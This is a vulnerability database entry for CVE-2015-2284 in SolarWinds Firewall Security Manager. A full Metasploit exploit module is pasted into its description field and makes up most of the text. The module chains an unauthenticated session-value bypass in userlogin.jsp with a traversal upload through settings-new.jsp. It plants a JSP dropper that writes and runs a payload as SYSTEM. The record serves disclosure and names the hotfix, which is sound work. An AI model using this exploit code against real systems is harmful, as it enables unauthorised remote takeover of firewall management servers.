ID

VAR-201503-0200

CVE

CVE-2015-2284

TITLE

SolarWinds Firewall Security Manager of userlogin.jsp Vulnerability gained in

DESCRIPTION

userlogin.jsp in SolarWinds Firewall Security Manager (FSM) before 6.6.5 HotFix1 allows remote attackers to gain privileges and execute arbitrary code via unspecified vectors, related to client session handling. Authentication is not required to exploit this vulnerability.The specific flaw exists within the handling of client sessions. The issue lies in the ability to elevate to administrative privileges. An attacker can leverage this vulnerability to execute code under the context of SYSTEM. SolarWinds Firewall Security Manager (FSM) is a set of firewall security and change management software from SolarWinds, USA. The software provides capabilities for analyzing firewall configuration and log files, simplifying firewall troubleshooting and change management, analyzing complex firewall configuration cleanup rules, and more. There is a security vulnerability in the userlogin.jsp script of versions prior to SolarWinds FSM 6.6.5 HotFix1. The first vulnerability is an authentication bypass via the Change Advisor interface due to a user-controlled session.putValue API in userlogin.jsp, allowing the attacker to set the 'username' attribute before authentication. The second problem is that the settings-new.jsp file will only check the 'username' attribute before authorizing the 'uploadFile' action, which can be exploited and allows the attacker to upload a fake xls host list file to the server, and results in arbitrary code execution under the context of SYSTEM. Depending on the installation, by default the Change Advisor web server is listening on port 48080 for an express install. Otherwise, this service may appear on port 8080. Solarwinds has released a fix for this vulnerability as FSM-v6.6.5-HotFix1.zip. You may download it from the module's References section. }, 'License' => MSF_LICENSE, 'Author' => [ 'rgod', # Original discovery 'mr_me <steventhomasseeley[at]gmail.com>', # https://twitter.com/ae0n_ 'sinn3r' # Metasploit ], 'References' => [ ['CVE', '2015-2284'], ['OSVDB', '81634'], ['ZDI', '15-107'], ['URL', 'http://downloads.solarwinds.com/solarwinds/Release/HotFix/FSM-v6.6.5-HotFix1.zip'] ], 'DefaultOptions' => { 'RPORT' => 48080 # Could be 8080 too }, 'Platform' => 'win', 'Targets' => [ ['Solarwinds Firewall Security Manager 6.6.5', {}] ], 'Privileged' => false, 'DisclosureDate' => 'Mar 13 2015', 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [ true, 'Base FMS directory path', '/']) ], self.class) end # Returns a checkcode that indicates whether the target is FSM or not def check res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'fsm', 'login.jsp')) if res && res.body =~ /SolarWinds FSM Change Advisor/i return Exploit::CheckCode::Detected end Exploit::CheckCode::Safe end # Exploit/run command def exploit unless check == Exploit::CheckCode::Detected fail_with(Failure::NotVulnerable, 'Target does not appear to be a Solarwinds Firewall Security Manager') end # Stage 1 of the attack # 'admin' is there by default and you can't delete it username = 'admin' print_status("Auth bypass: Putting session value: username=#{username}") sid = put_session_value(username) print_status("Your SID is: #{sid}") # Stage 2 of the attack exe = generate_payload_exe(code: payload.encoded) filename = "#{Rex::Text.rand_text_alpha(5)}.jsp" # Because when we get a shell, we will be at: # C:\Program Files\SolarWinds\SolarWinds FSMServer\webservice # So we have to adjust this filename in order to delete the file register_files_for_cleanup("../plugins/com.lisletech.athena.http.servlets_1.2/jsp/#{filename}") malicious_file = get_jsp_payload(exe, filename) print_status("Uploading file: #{filename} (#{exe.length} bytes)") upload_exec(sid, filename, malicious_file) end private # Returns a write-stager # I grabbed this from Juan's sonicwall_gms_uploaded.rb module def jsp_drop_bin(bin_data, output_file) jspraw = %Q|<%@ page import="java.io.*" %>\n| jspraw << %Q|<%\n| jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n| jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n| jspraw << %Q|int numbytes = data.length();\n| jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n| jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n| jspraw << %Q|{\n| jspraw << %Q| char char1 = (char) data.charAt(counter);\n| jspraw << %Q| char char2 = (char) data.charAt(counter + 1);\n| jspraw << %Q| int comb = Character.digit(char1, 16) & 0xff;\n| jspraw << %Q| comb <<= 4;\n| jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n| jspraw << %Q| bytes[counter/2] = (byte)comb;\n| jspraw << %Q|}\n| jspraw << %Q|outputstream.write(bytes);\n| jspraw << %Q|outputstream.close();\n| jspraw << %Q|%>\n| jspraw end # Returns JSP that executes stuff # This is also from Juan's sonicwall_gms_uploaded.rb module def jsp_execute_command(command) jspraw = %Q|<%@ page import="java.io.*" %>\n| jspraw << %Q|<%\n| jspraw << %Q|try {\n| jspraw << %Q| Runtime.getRuntime().exec("chmod +x #{command}");\n| jspraw << %Q|} catch (IOException ioe) { }\n| jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n| jspraw << %Q|%>\n| jspraw end # Returns a JSP payload def get_jsp_payload(exe, output_file) jsp_drop_bin(exe, output_file) + jsp_execute_command(output_file) end # Creates an arbitrary username by abusing the server's unsafe use of session.putValue def put_session_value(value) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'fsm', 'userlogin.jsp'), 'method' => 'GET', 'vars_get' => { 'username' => value } ) unless res fail_with(Failure::Unknown, 'The connection timed out while setting the session value.') end get_sid(res) end # Returns the session ID def get_sid(res) cookies = res.get_cookies sid = cookies.scan(/(JSESSIONID=\w+);*/).flatten[0] || '' sid end # Uploads a malicious file and then execute it def upload_exec(sid, filename, malicious_file) res = upload_file(sid, filename, malicious_file) if !res fail_with(Failure::Unknown, 'The connection timed out while uploading the malicious file.') elsif res.body.include?('java.lang.NoClassDefFoundError') print_status('Payload being treated as XLS, indicates a successful upload.') else print_status('Unsure of a successful upload.') end print_status('Attempting to execute the payload.') exec_file(sid, filename) end # Uploads a malicious file # By default, the file will be saved at the following location: # C:\Program Files\SolarWinds\SolarWinds FSMServer\plugins\com.lisletech.athena.http.servlets_1.2\reports\tickets\ def upload_file(sid, filename, malicious_file) # Put our payload in: # C:\Program Files\SolarWinds\SolarWinds FSMServer\plugins\com.lisletech.athena.http.servlets_1.2\jsp\ filename = "../../jsp/#{filename}" mime_data = Rex::MIME::Message.new mime_data.add_part(malicious_file, 'application/vnd.ms-excel', nil, "name=\"file\"; filename=\"#{filename}\"") mime_data.add_part('uploadFile', nil, nil, 'name="action"') proto = ssl ? 'https' : 'http' ref = "#{proto}://#{rhost}:#{rport}#{normalize_uri(target_uri.path, 'fsm', 'settings-new.jsp')}" send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'fsm', 'settings-new.jsp'), 'method' => 'POST', 'vars_get' => { 'action' => 'uploadFile' }, 'ctype' => "multipart/form-data; boundary=#{mime_data.bound}", 'data' => mime_data.to_s, 'cookie' => sid, 'headers' => { 'Referer' => ref } ) end # Executes the malicious file and get code execution # We will be at this location: # C:\Program Files\SolarWinds\SolarWinds FSMServer\webservice def exec_file(sid, filename) send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'fsm', filename) ) end # Overrides the original print_status so we make sure we print the rhost and port def print_status(msg) super("#{rhost}:#{rport} - #{msg}") end end

AFFECTED PRODUCTS

CVSS

PROBLEMTYPE DATA

THREAT TYPE

remote

TYPE

permissions and access control

CONFIGURATIONS

EXPLOIT AVAILABILITY

PATCH

EXTERNAL IDS

REFERENCES

CREDITS

Andrea Micalizzi aka rgod

SOURCES

LAST UPDATE DATE

2025-04-12T23:27:35.675000+00:00

SOURCES UPDATE DATE

SOURCES RELEASE DATE